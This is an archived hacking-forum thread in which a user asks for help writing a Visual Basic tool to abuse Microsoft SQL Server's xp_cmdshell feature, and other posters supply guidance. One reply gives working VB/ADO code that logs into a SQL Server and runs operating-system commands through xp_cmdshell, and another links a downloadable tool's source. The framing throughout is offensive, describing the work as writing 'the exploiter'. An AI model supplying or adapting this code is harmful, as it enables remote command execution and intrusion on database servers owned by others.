hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Sql Client
passi
hi

i want to write an sql client for the xp_cmdshell security leak (like sqlexec). but i only can write in visual basic.

is it possible to do this in vb? if yes, do you know a sql module to connect to a sql database? and do you have any information regarding writing a sql client in vb?

thanks a lot smile.gif

greets, passiw
slipped
Yes, its possible, and would probably be very easy to do, too. Look into ADO for visual basic on how to interact with databases. That should be all you need, along with some VB knowledge.
Metathron
yes its possible

SQLExec 2.0 is too written in VB wink.gif
passi
thanks for info, but still don't know how to start. have any links or something for me? would be great smile.gif
slipped
just search for "mysql / mssql visual basic" in google. All xp_cmdshell is is a database call, its not that hard to implement at all. If you have 0 experience with database work it will make no sense, so start with just basic interaction with databases before moving on to actually writing the exploiter.
passi
I searched for this and similar keywords on google but i dodn't find anything ergarding mssql client development in vb.
Did you find anything? smile.gif

passiw
Lanig
i too have searched for the answer for this and gathered this code:
u need to add a refernce to ActiveX Data Objects
CODE
Dim oConn As New ADODB.Connection
Dim oCmnd As New ADODB.Command
Dim oRset As New ADODB.Recordset
Dim sOutput As String, sServer As String, sUsername As String, sPassword As String
oConn.ConnectionString = "DRIVER={SQL Server};Network Library=DBMSSOCN;SERVER=" & sServer & ";UID=" & sUsername & ";PWD=" & sPassword
oConn.Open
oCmnd.ActiveConnection = oConn
oCmnd.CommandType = adCmdUnknown
oCmnd.CommandText = "xp_cmdshell('dir c:\')"
Set oRset = oCmnd.Execute
sOutput = oRset.GetString

that would results having the dir contents of c:\ in sOutput variable
might be other ways tho this is what i put together from many different explainations
passi
Wow! thanks a lot for this smile.gif

i try it. if i do it i will let you know smile.gif

//Cool it works great smile.gif
Zenuka
Sorry i didn't see it any sooner...

I did a vb sql tool a while ago. It was quite simpel.

I've attached the complete source so have fun and leave credz for me wink.gif

Edit: Can't get the attachment to work sad.gif
http://www.zenuka.nl/SQLBrouwser.rar
G-Ryder
Nice 1 Zenuka.. The source is really interesting smile.gif I have been wondering how to do that for a while.. Cheers m8
ttfella
cool zenuka works well ,ideal for us lazy types
twistedps
why reinvent the wheel, when theyre already 50 wheels out there that work well. put your time into something new and innovative!
you'll enjoy the outcome more when its released to the public. biggrin.gif
chris105
unless he is incorporating this feature into a bigger "innovative" program he is making or if he is just using it as a "learning" project
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.